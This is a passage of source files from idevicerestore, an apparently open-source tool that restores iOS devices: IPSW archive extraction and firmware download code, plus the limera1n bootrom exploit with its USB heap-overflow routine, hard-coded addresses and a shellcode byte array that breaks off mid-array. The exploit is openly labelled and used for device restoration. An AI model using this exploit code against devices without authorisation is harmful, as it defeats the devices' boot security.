strerror(errno)); free(filepath); free(buffer); return -1; } fclose(f); #ifndef WIN32 } #endif buffer[size] = '\0'; free(filepath); } *pbuffer = buffer; *psize = size; return 0; } int ipsw_extract_send(ipsw_archive_t ipsw, const char* infile, int blocksize, ipsw_send_cb send_callback, void* ctx) { unsigned char* buffer = NULL; size_t done = 0; size_t total_size = 0; if (ipsw == NULL) { error("ERROR: Invalid archive\n"); return -1; } if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return -1; } int zindex = zip_name_locate(zip, infile, 0); if (zindex < 0) { zip_unchange_all(zip); zip_close(zip); debug("NOTE: zip_name_locate: '%s' not found in archive.\n", infile); return -1; } struct zip_stat zstat; zip_stat_init(&zstat); if (zip_stat_index(zip, zindex, 0, &zstat) != 0) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_stat_index: %s\n", infile); return -1; } struct zip_file* zfile = zip_fopen_index(zip, zindex, 0); if (zfile == NULL) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_fopen_index: %s\n", infile); return -1; } total_size = zstat.size; buffer = (unsigned char*) malloc(blocksize); if (buffer == NULL) { zip_fclose(zfile); zip_unchange_all(zip); zip_close(zip); error("ERROR: Out of memory\n"); return -1; } while (done < total_size) { size_t size = total_size-done; if (size > blocksize) size = blocksize; zip_int64_t zr = zip_fread(zfile, buffer, size); if (zr < 0) { error("ERROR: %s: zip_fread: %s\n", __func__, infile); break; } else if (zr == 0) { // EOF break; } if (send_callback(ctx, buffer, zr, done, total_size) < 0) { error("ERROR: %s: send failed\n", __func__); break; } done += zr; } free(buffer); zip_fclose(zfile); zip_unchange_all(zip); zip_close(zip); } else { char *filepath = build_path(ipsw->path, infile); struct stat fst; #ifdef WIN32 if (stat(filepath, &fst) != 0) { #else if (lstat(filepath, &fst) != 0) { #endif error("ERROR: %s: stat failed for %s: %s\n", __func__, filepath, strerror(errno)); free(filepath); return -1; } total_size = fst.st_size; buffer = (unsigned char*)malloc(blocksize); if (buffer == NULL) { error("ERROR: Out of memory\n"); free(filepath); return -1; } #ifndef WIN32 if (S_ISLNK(fst.st_mode)) { ssize_t rl = readlink(filepath, (char*)buffer, (total_size > blocksize) ? blocksize : total_size); if (rl < 0) { error("ERROR: %s: readlink failed for %s: %s\n", __func__, filepath, strerror(errno)); free(filepath); free(buffer); return -1; } send_callback(ctx, buffer, (size_t)rl, 0, 0); } else { #endif FILE *f = fopen(filepath, "rb"); if (!f) { error("ERROR: %s: fopen failed for %s: %s\n", __func__, filepath, strerror(errno)); free(filepath); free(buffer); return -2; } while (done < total_size) { size_t size = total_size-done; if (size > blocksize) size = blocksize; size_t fr = fread(buffer, 1, size, f); if (fr != size) { error("ERROR: %s: fread failed for %s: %s\n", __func__, filepath, strerror(errno)); break; } if (send_callback(ctx, buffer, fr, done, total_size) < 0) { error("ERROR: %s: send failed\n", __func__); break; } done += fr; } fclose(f); #ifndef WIN32 } #endif free(filepath); free(buffer); } if (done < total_size) { error("ERROR: %s: Sending file data for %s failed (sent %" PRIu64 "/%" PRIu64 ")\n", __func__, infile, (uint64_t)done, (uint64_t)total_size); return -1; } // send a NULL buffer to mark end of transfer send_callback(ctx, NULL, 0, done, total_size); return 0; } int ipsw_extract_build_manifest(ipsw_archive_t ipsw, plist_t* buildmanifest, int *tss_enabled) { unsigned int size = 0; unsigned char* data = NULL; *tss_enabled = 0; /* older devices don't require personalized firmwares and use a BuildManifesto.plist */ if (ipsw_file_exists(ipsw, "BuildManifesto.plist")) { if (ipsw_extract_to_memory(ipsw, "BuildManifesto.plist", &data, &size) == 0) { plist_from_xml((char*)data, size, buildmanifest); free(data); return 0; } } data = NULL; size = 0; /* whereas newer devices do not require personalized firmwares and use a BuildManifest.plist */ if (ipsw_extract_to_memory(ipsw, "BuildManifest.plist", &data, &size) == 0) { *tss_enabled = 1; plist_from_xml((char*)data, size, buildmanifest); free(data); return 0; } return -1; } int ipsw_extract_restore_plist(ipsw_archive_t ipsw, plist_t* restore_plist) { unsigned int size = 0; unsigned char* data = NULL; if (ipsw_extract_to_memory(ipsw, "Restore.plist", &data, &size) == 0) { plist_from_xml((char*)data, size, restore_plist); free(data); return 0; } return -1; } static int ipsw_list_contents_recurse(ipsw_archive_t ipsw, const char *path, ipsw_list_cb cb, void *ctx) { int ret = 0; char *base = build_path(ipsw->path, path); DIR *dirp = opendir(base); if (!dirp) { error("ERROR: failed to open directory %s\n", base); free(base); return -1; } while (ret >= 0) { struct dirent *dir = readdir(dirp); if (!dir) break; if (!strcmp(dir->d_name, ".") || !strcmp(dir->d_name, "..")) continue; char *fpath = build_path(base, dir->d_name); char *subpath; if (*path) subpath = build_path(path, dir->d_name); else subpath = strdup(dir->d_name); struct stat st; #ifdef WIN32 ret = stat(fpath, &st); #else ret = lstat(fpath, &st); #endif if (ret != 0) { error("ERROR: %s: stat failed for %s: %s\n", __func__, fpath, strerror(errno)); free(fpath); free(subpath); break; } ret = cb(ctx, ipsw, subpath, &st); if (ret >= 0 && S_ISDIR(st.st_mode)) ipsw_list_contents_recurse(ipsw, subpath, cb, ctx); free(fpath); free(subpath); } closedir(dirp); free(base); return ret; } int ipsw_list_contents(ipsw_archive_t ipsw, ipsw_list_cb cb, void *ctx) { int ret = 0; if (ipsw == NULL) { error("ERROR: Invalid IPSW archive\n"); return -1; } if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return -1; } int64_t entries = zip_get_num_entries(zip, 0); if (entries < 0) { error("ERROR: zip_get_num_entries failed\n"); return -1; } for (int64_t index = 0; index < entries; index++) { zip_stat_t stat; zip_stat_init(&stat); if (zip_stat_index(zip, index, 0, &stat) < 0) { error("ERROR: zip_stat_index failed for %s\n", stat.name); ret = -1; continue; } uint8_t opsys; uint32_t attributes; if (zip_file_get_external_attributes(zip, index, 0, &opsys, &attributes) < 0) { error("ERROR: zip_file_get_external_attributes failed for %s\n", stat.name); ret = -1; continue; } if (opsys != ZIP_OPSYS_UNIX) { error("ERROR: File %s does not have UNIX attributes\n", stat.name); ret = -1; continue; } struct stat st; memset(&st, 0, sizeof(st)); st.st_ino = 1 + index; st.st_nlink = 1; st.st_mode = attributes >> 16; st.st_size = stat.size; char *name = strdup(stat.name); if (name[strlen(name) - 1] == '/') name[strlen(name) - 1] = '\0'; ret = cb(ctx, ipsw, name, &st); free(name); if (ret < 0) break; } } else { ret = ipsw_list_contents_recurse(ipsw, "", cb, ctx); } return ret; } int ipsw_get_signed_firmwares(const char* product, plist_t* firmwares) { char url[256]; char *jdata = NULL; uint32_t jsize = 0; plist_t dict = NULL; plist_t node = NULL; plist_t fws = NULL; const char* product_type = NULL; uint32_t count = 0; uint32_t i = 0; if (!product || !firmwares) { return -1; } *firmwares = NULL; snprintf(url, sizeof(url), "https://api.ipsw.me/v4/device/%s", product); if (download_to_buffer(url, &jdata, &jsize) < 0) { error("ERROR: Download from %s failed.\n", url); return -1; } plist_from_json(jdata, jsize, &dict); free(jdata); if (!dict || plist_get_node_type(dict) != PLIST_DICT) { error("ERROR: Failed to parse json data.\n"); plist_free(dict); return -1; } node = plist_dict_get_item(dict, "identifier"); if (!node || plist_get_node_type(node) != PLIST_STRING) { error("ERROR: Unexpected json data returned - missing 'identifier'\n"); plist_free(dict); return -1; } product_type = plist_get_string_ptr(node, NULL); if (!product_type || strcmp(product_type, product) != 0) { error("ERROR: Unexpected json data returned - failed to read identifier\n"); plist_free(dict); return -1; } fws = plist_dict_get_item(dict, "firmwares"); if (!fws || plist_get_node_type(fws) != PLIST_ARRAY) { error("ERROR: Unexpected json data returned - missing 'firmwares'\n"); plist_free(dict); return -1; } *firmwares = plist_new_array(); count = plist_array_get_size(fws); for (i = 0; i < count; i++) { plist_t fw = plist_array_get_item(fws, i); node = plist_dict_get_item(fw, "signed"); if (node && plist_get_node_type(node) == PLIST_BOOLEAN) { uint8_t bv = 0; plist_get_bool_val(node, &bv); if (bv) { plist_array_append_item(*firmwares, plist_copy(fw)); } } } plist_free(dict); return 0; } int ipsw_get_latest_fw(plist_t version_data, const char* product, char** fwurl, unsigned char* sha1buf) { *fwurl = NULL; if (sha1buf != NULL) { memset(sha1buf, '\0', 20); } plist_t n1 = plist_dict_get_item(version_data, "MobileDeviceSoftwareVersionsByVersion"); if (!n1) { error("%s: ERROR: Can't find MobileDeviceSoftwareVersionsByVersion dict in version data\n", __func__); return -1; } plist_dict_iter iter = NULL; plist_dict_new_iter(n1, &iter); if (!iter) { error("%s: ERROR: Can't get dict iter\n", __func__); return -1; } char* key = NULL; uint64_t major = 0; plist_t val = NULL; do { plist_dict_next_item(n1, iter, &key, &val); if (key) { plist_t pr = plist_access_path(n1, 3, key, "MobileDeviceSoftwareVersions", product); if (pr) { long long unsigned int v = strtoull(key, NULL, 10); if (v > major) major = v; } free(key); } } while (val); free(iter); if (major == 0) { error("%s: ERROR: Can't find major version?!\n", __func__); return -1; } char majstr[32]; // should be enough for a uint64_t value sprintf(majstr, "%"PRIu64, (uint64_t)major); n1 = plist_access_path(version_data, 7, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, "Unknown", "Universal", "Restore"); if (!n1) { error("%s: ERROR: Can't get Unknown/Universal/Restore node?!\n", __func__); return -1; } plist_t n2 = plist_dict_get_item(n1, "BuildVersion"); if (!n2 || (plist_get_node_type(n2) != PLIST_STRING)) { error("%s: ERROR: Can't get build version node?!\n", __func__); return -1; } char* strval = NULL; plist_get_string_val(n2, &strval); n1 = plist_access_path(version_data, 5, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, strval); if (!n1) { error("%s: ERROR: Can't get MobileDeviceSoftwareVersions/%s node?!\n", __func__, strval); free(strval); return -1; } free(strval); strval = NULL; n2 = plist_dict_get_item(n1, "SameAs"); if (n2) { plist_get_string_val(n2, &strval); } if (strval) { n1 = plist_access_path(version_data, 5, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, strval); free(strval); strval = NULL; if (!n1 || (plist_dict_get_size(n1) == 0)) { error("%s: ERROR: Can't get MobileDeviceSoftwareVersions/%s dict\n", __func__, product); return -1; } } n2 = plist_access_path(n1, 2, "Update", "BuildVersion"); if (n2) { strval = NULL; plist_get_string_val(n2, &strval); if (strval) { n1 = plist_access_path(version_data, 5, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, strval); free(strval); strval = NULL; } } n2 = plist_access_path(n1, 2, "Restore", "FirmwareURL"); if (!n2 || (plist_get_node_type(n2) != PLIST_STRING)) { error("%s: ERROR: Can't get FirmwareURL node\n", __func__); return -1; } plist_get_string_val(n2, fwurl); if (sha1buf != NULL) { n2 = plist_access_path(n1, 2, "Restore", "FirmwareSHA1"); if (n2 && plist_get_node_type(n2) == PLIST_STRING) { strval = NULL; plist_get_string_val(n2, &strval); if (strval) { if (strlen(strval) == 40) { int i; int v; for (i = 0; i < 40; i+=2) { v = 0; sscanf(strval+i, "%02x", &v); sha1buf[i/2] = (unsigned char)v; } } free(strval); } } } return 0; } static int sha1_verify_fp(FILE* f, unsigned char* expected_sha1) { unsigned char tsha1[20]; char buf[8192]; if (!f) return 0; sha1_context sha1ctx; sha1_init(&sha1ctx); rewind(f); while (!feof(f)) { size_t sz = fread(buf, 1, 8192, f); sha1_update(&sha1ctx, buf, sz); } sha1_final(&sha1ctx, tsha1); return (memcmp(expected_sha1, tsha1, 20) == 0) ? 1 : 0; } int ipsw_download_fw(const char *fwurl, unsigned char* isha1, const char* todir, char** ipswfile) { char* fwfn = strrchr(fwurl, '/'); if (!fwfn) { error("ERROR: can't get local filename for firmware ipsw\n"); return -2; } fwfn++; char fwlfn[PATH_MAX - 5]; if (todir) { sprintf(fwlfn, "%s/%s", todir, fwfn); } else { sprintf(fwlfn, "%s", fwfn); } char fwlock[PATH_MAX]; sprintf(fwlock, "%s.lock", fwlfn); lock_info_t lockinfo; if (lock_file(fwlock, &lockinfo) != 0) { error("WARNING: Could not lock file '%s'\n", fwlock); } int need_dl = 0; unsigned char zsha1[20] = {0, }; FILE* f = fopen(fwlfn, "rb"); if (f) { if (memcmp(zsha1, isha1, 20) != 0) { info("Verifying '%s'...\n", fwlfn); if (sha1_verify_fp(f, isha1)) { info("Checksum matches.\n"); } else { info("Checksum does not match.\n"); need_dl = 1; } } fclose(f); } else { need_dl = 1; } int res = 0; if (need_dl) { if (strncmp(fwurl, "protected:", 10) == 0) { error("ERROR: Can't download '%s' because it needs a purchase.\n", fwfn); res = -3; } else { remove(fwlfn); info("Downloading firmware (%s)\n", fwurl); download_to_file(fwurl, fwlfn, 1); if (memcmp(isha1, zsha1, 20) != 0) { info("\nVerifying '%s'...\n", fwlfn); FILE* f = fopen(fwlfn, "rb"); if (f) { if (sha1_verify_fp(f, isha1)) { info("Checksum matches.\n"); } else { error("ERROR: File download failed (checksum mismatch).\n"); res = -4; } fclose(f); // make sure to remove invalid files if (res < 0) remove(fwlfn); } else { error("ERROR: Can't open '%s' for checksum verification\n", fwlfn); res = -5; } } } } if (res == 0) { *ipswfile = strdup(fwlfn); } if (unlock_file(&lockinfo) != 0) { error("WARNING: Could not unlock file '%s'\n", fwlock); } return res; } int ipsw_download_latest_fw(plist_t version_data, const char* product, const char* todir, char** ipswfile) { char* fwurl = NULL; unsigned char isha1[20]; *ipswfile = NULL; if ((ipsw_get_latest_fw(version_data, product, &fwurl, isha1) < 0) || !fwurl) { error("ERROR: can't get URL for latest firmware\n"); return -1; } char* fwfn = strrchr(fwurl, '/'); if (!fwfn) { error("ERROR: can't get local filename for firmware ipsw\n"); return -2; } fwfn++; info("Latest firmware is %s\n", fwfn); int res = ipsw_download_fw(fwurl, isha1, todir, ipswfile); free(fwurl); return res; } void ipsw_cancel(void) { cancel_flag++; } ipsw_file_handle_t ipsw_file_open(ipsw_archive_t ipsw, const char* path) { ipsw_file_handle_t handle = (ipsw_file_handle_t)calloc(1, sizeof(struct ipsw_file_handle)); if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return NULL; } zip_stat_t zst; zip_int64_t zindex = zip_name_locate(zip, path, 0); if (zindex < 0) { error("ERROR: zip_name_locate: %s not found\n", path); zip_unchange_all(zip); zip_close(zip); free(handle); return NULL; } handle->zfile = zip_fopen_index(zip, zindex, 0); if (handle->zfile == NULL) { error("ERROR: zip_fopen_index: %s could not be opened\n", path); zip_unchange_all(zip); zip_close(zip); free(handle); return NULL; } zip_stat_init(&zst); zip_stat(zip, path, 0, &zst); handle->size = zst.size; handle->seekable = (zst.comp_method == ZIP_CM_STORE); handle->zip = zip; } else { struct stat st; char *filepath = build_path(ipsw->path, path); handle->file = fopen(filepath, "rb"); free(filepath); if (!handle->file) { error("ERROR: fopen: %s could not be opened\n", path); free(handle); return NULL; } fstat(fileno(handle->file), &st); handle->size = st.st_size; handle->seekable = 1; } return handle; } void ipsw_file_close(ipsw_file_handle_t handle) { if (handle && handle->zfile) { zip_fclose(handle->zfile); zip_unchange_all(handle->zip); zip_close(handle->zip); } else if (handle && handle->file) { fclose(handle->file); } free(handle); } uint64_t ipsw_file_size(ipsw_file_handle_t handle) { if (handle) { return handle->size; } return 0; } int64_t ipsw_file_read(ipsw_file_handle_t handle, void* buffer, size_t size) { if (handle && handle->zfile) { zip_int64_t zr = zip_fread(handle->zfile, buffer, size); return (int64_t)zr; } else if (handle && handle->file) { return fread(buffer, 1, size, handle->file); } else { error("ERROR: %s: Invalid file handle\n", __func__); return -1; } } int ipsw_file_seek(ipsw_file_handle_t handle, int64_t offset, int whence) { if (handle && handle->zfile) { return zip_fseek(handle->zfile, offset, whence); } else if (handle && handle->file) { #ifdef WIN32 if (whence == SEEK_SET) { rewind(handle->file); } return (_lseeki64(fileno(handle->file), offset, whence) < 0) ? -1 : 0; #else return fseeko(handle->file, offset, whence); #endif } else { error("ERROR: %s: Invalid file handle\n", __func__); return -1; } } int64_t ipsw_file_tell(ipsw_file_handle_t handle) { if (handle && handle->zfile) { return zip_ftell(handle->zfile); } else if (handle && handle->file) { #ifdef WIN32 return _lseeki64(fileno(handle->file), 0, SEEK_CUR); #else return ftello(handle->file); #endif } else { error("ERROR: %s: Invalid file handle\n", __func__); return -1; } } idevicerestore-master/src/ipsw.h000066400000000000000000000065451464320324600173230ustar00rootroot00000000000000/* * ipsw.h * Definitions for IPSW utilities * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_IPSW_H #define IDEVICERESTORE_IPSW_H #ifdef __cplusplus extern "C" { #endif #include #include #include struct ipsw_archive { int zip; char *path; }; typedef struct ipsw_archive* ipsw_archive_t; ipsw_archive_t ipsw_open(const char* ipsw); void ipsw_close(ipsw_archive_t ipsw); int ipsw_print_info(const char* ipsw); typedef int (*ipsw_list_cb)(void *ctx, ipsw_archive_t ipsw, const char *name, struct stat *stat); typedef int (*ipsw_send_cb)(void *ctx, void *data, size_t size, size_t done, size_t total_size); struct ipsw_file_handle { FILE* file; struct zip* zip; struct zip_file* zfile; uint64_t size; int seekable; }; typedef struct ipsw_file_handle* ipsw_file_handle_t; ipsw_file_handle_t ipsw_file_open(ipsw_archive_t, const char* path); void ipsw_file_close(ipsw_file_handle_t handle); uint64_t ipsw_file_size(ipsw_file_handle_t handle); int64_t ipsw_file_read(ipsw_file_handle_t handle, void* buffer, size_t size); int ipsw_file_seek(ipsw_file_handle_t handle, int64_t offset, int whence); int64_t ipsw_file_tell(ipsw_file_handle_t handle); int ipsw_is_directory(const char* ipsw); int ipsw_file_exists(ipsw_archive_t ipsw, const char* infile); int ipsw_get_file_size(ipsw_archive_t ipsw, const char* infile, uint64_t* size); int ipsw_extract_to_file(ipsw_archive_t ipsw, const char* infile, const char* outfile); int ipsw_extract_to_file_with_progress(ipsw_archive_t ipsw, const char* infile, const char* outfile, int print_progress); int ipsw_extract_to_memory(ipsw_archive_t ipsw, const char* infile, unsigned char** pbuffer, unsigned int* psize); int ipsw_extract_send(ipsw_archive_t ipsw, const char* infile, int blocksize, ipsw_send_cb send_callback, void* ctx); int ipsw_extract_build_manifest(ipsw_archive_t ipsw, plist_t* buildmanifest, int *tss_enabled); int ipsw_extract_restore_plist(ipsw_archive_t ipsw, plist_t* restore_plist); int ipsw_list_contents(ipsw_archive_t ipsw, ipsw_list_cb cb, void *ctx); int ipsw_get_signed_firmwares(const char* product, plist_t* firmwares); int ipsw_download_fw(const char *fwurl, unsigned char* isha1, const char* todir, char** ipswfile); int ipsw_get_latest_fw(plist_t version_data, const char* product, char** fwurl, unsigned char* sha1buf); int ipsw_download_latest_fw(plist_t version_data, const char* product, const char* todir, char** ipswfile); void ipsw_cancel(void); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/limera1n.c000066400000000000000000000104411464320324600200320ustar00rootroot00000000000000/* * limera1n.c * Helper code for limera1n exploit based on discovery by geohot * * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved. * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (C) 2010 Chronic-Dev Team * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include "common.h" #include "limera1n.h" #include "limera1n_payload.h" int limera1n_is_supported(struct irecv_device *device) { irecv_device_t iphone4 = NULL; irecv_device_t iphone3gs = NULL; irecv_device_t ipod3g = NULL; irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4); irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs); irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g); return ((device->chip_id == iphone4->chip_id) || (device->chip_id == iphone3gs->chip_id) || (device->chip_id == ipod3g->chip_id)); } int limera1n_exploit(struct irecv_device *device, irecv_client_t *pclient) { irecv_error_t err = IRECV_E_SUCCESS; unsigned int i = 0; unsigned char buf[0x800]; unsigned char shellcode[0x800]; unsigned int max_size = 0x24000; //unsigned int load_address = 0x84000000; unsigned int stack_address = 0; unsigned int shellcode_address = 0; irecv_device_t iphone4 = NULL; irecv_device_t iphone3gs = NULL; irecv_device_t ipod3g = NULL; int mode = 0; irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4); irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs); irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g); if (device->chip_id == iphone4->chip_id) { max_size = 0x2C000; stack_address = 0x8403BF9C; shellcode_address = 0x8402B001; } else if (device->chip_id == iphone3gs->chip_id) { max_size = 0x24000; stack_address = 0x84033FA4; shellcode_address = 0x84023001; } else if (device->chip_id == ipod3g->chip_id) { max_size = 0x24000; stack_address = 0x84033F98; shellcode_address = 0x84023001; } else { error("Unsupported ChipID 0x%04x. Can't exploit with limera1n.\n", device->chip_id); return -1; } memset(shellcode, 0x0, 0x800); memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); irecv_client_t client = *pclient; debug("Resetting device counters\n"); err = irecv_reset_counters(client); if (err != IRECV_E_SUCCESS) { error("%s\n", irecv_strerror(err)); return -1; } memset(buf, 0xCC, 0x800); for(i = 0; i < 0x800; i += 0x40) { unsigned int* heap = (unsigned int*)(buf+i); heap[0] = 0x405; heap[1] = 0x101; heap[2] = shellcode_address; heap[3] = stack_address; } debug("Sending chunk headers\n"); irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); memset(buf, 0xCC, 0x800); for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); } debug("Sending exploit payload\n"); irecv_usb_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); debug("Sending fake data\n"); memset(buf, 0xBB, 0x800); irecv_usb_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); //debug("Executing exploit\n"); irecv_usb_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); irecv_reset(client); irecv_finish_transfer(client); debug("Exploit sent\n"); debug("Reconnecting to device\n"); *pclient = irecv_reconnect(client, 7); if (*pclient == NULL) { error("Unable to reconnect\n"); return -1; } irecv_get_mode((*pclient), &mode); if (mode != IRECV_K_DFU_MODE) { error("Device reconnected in non-DFU mode\n"); return -1; } return 0; } idevicerestore-master/src/limera1n.h000066400000000000000000000021441464320324600200400ustar00rootroot00000000000000/* * limera1n.h * Helper code for limera1n exploit based on discovery by geohot * * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef __LIMERA1N_H #define __LIMERA1N_H #include int limera1n_is_supported(struct irecv_device *device); int limera1n_exploit(struct irecv_device *device, irecv_client_t *client); #endif /* __LIMERA1N_H */ idevicerestore-master/src/limera1n_payload.h000066400000000000000000000106501464320324600215520ustar00rootroot00000000000000/* * limera1n_payload.h * Payload for limera1n exploit * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ extern unsigned char limera1n_payload[]; unsigned char limera1n_payload[] = { 0x7f, 0x46, 0x07, 0xe0, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0x61, 0x48, 0x02, 0x68, 0x61, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x61, 0x49, 0x39, 0x60, 0x61, 0x49, 0x79, 0x60, 0x61, 0x49, 0xb9, 0x60, 0x1c, 0xe0, 0x60, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x60, 0x49, 0x39, 0x60, 0x60, 0x49, 0x79, 0x60, 0x60, 0x49, 0xb9, 0x60, 0x12, 0xe0, 0x5f, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x5f, 0x49, 0x39, 0x60, 0x5f, 0x49, 0x79, 0x60, 0x5f, 0x49, 0xb9, 0x60, 0x08, 0xe0, 0x5e, 0x48, 0x90, 0x42, 0x05, 0xd1, 0x5e, 0x49, 0x39, 0x60, 0x5a, 0x49, 0x79, 0x60, 0x5d, 0x49, 0xb9, 0x60, 0x5d, 0x48, 0x5d, 0x49, 0x3b, 0x68, 0x98, 0x47, 0x5d, 0x48, 0x5a, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x80, 0xf8, 0x00, 0x28, 0xcb, 0xd0, 0x06, 0x1c, 0x5a, 0x48, 0x56, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x78, 0xf8, 0x00, 0x28, 0xc3, 0xd0, 0x05, 0x1c, 0x11, 0x20, 0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23, 0x54, 0x4c, 0x00, 0x94, 0x00, 0x24, 0x01, 0x94, 0x00, 0x24, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x11, 0x20, 0x0c, 0x24, 0x31, 0x19, 0x32, 0x19, 0xb3, 0x68, 0x4f, 0x4c, 0x00, 0x94, 0x24, 0x24, 0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x45, 0x48, 0x0c, 0x21, 0x89, 0x19, 0xb2, 0x68, 0x15, 0x1c, 0x00, 0xf0, 0x4a, 0xf8, 0x47, 0x48, 0x41, 0x49, 0x2a, 0x1c, 0x00, 0xf0, 0x4d, 0xf8, 0x00, 0x28, 0x08, 0xd0, 0x01, 0x1c, 0x44, 0x48, 0x45, 0x4a, 0x00, 0xf0, 0x46, 0xf8, 0x00, 0x28, 0x01, 0xd0, 0x43, 0x49, 0x01, 0x60, 0x43, 0x48, 0x39, 0x49, 0x2a, 0x1c, 0x00, 0xf0, 0x3d, 0xf8, 0x00, 0x28, 0x08, 0xd0, 0x01, 0x1c, 0x40, 0x48, 0x3d, 0x4a, 0x00, 0xf0, 0x36, 0xf8, 0x00, 0x28, 0x01, 0xd0, 0x3e, 0x49, 0x01, 0x60, 0x3e, 0x48, 0x31, 0x49, 0x2a, 0x1c, 0x00, 0xf0, 0x2d, 0xf8, 0x00, 0x28, 0x08, 0xd0, 0x01, 0x1c, 0x3b, 0x48, 0x35, 0x4a, 0x00, 0xf0, 0x26, 0xf8, 0x00, 0x28, 0x01, 0xd0, 0x33, 0x49, 0x01, 0x60, 0x38, 0x48, 0x29, 0x49, 0x2a, 0x1c, 0x38, 0x4b, 0x00, 0xf0, 0x1e, 0xf8, 0x00, 0x28, 0x07, 0xd1, 0x36, 0x48, 0x25, 0x49, 0x2a, 0x1c, 0x36, 0x4b, 0x00, 0xf0, 0x16, 0xf8, 0x00, 0x28, 0x03, 0xd0, 0x34, 0x49, 0x01, 0x60, 0x34, 0x49, 0x41, 0x60, 0x00, 0x20, 0x1f, 0x49, 0x00, 0x22, 0xbb, 0x68, 0x98, 0x47, 0x55, 0xe7, 0x0b, 0x68, 0x03, 0x60, 0x01, 0x30, 0x01, 0x31, 0x01, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47, 0x00, 0x23, 0xff, 0xe7, 0x10, 0xb5, 0x0c, 0x68, 0x84, 0x42, 0x04, 0xd1, 0x00, 0x2b, 0x07, 0xd0, 0x4c, 0x68, 0x9c, 0x42, 0x04, 0xd0, 0x02, 0x31, 0x02, 0x3a, 0x00, 0x2a, 0xf3, 0xd1, 0x00, 0x21, 0x08, 0x1c, 0x10, 0xbd, 0x88, 0x02, 0x00, 0x00, 0x39, 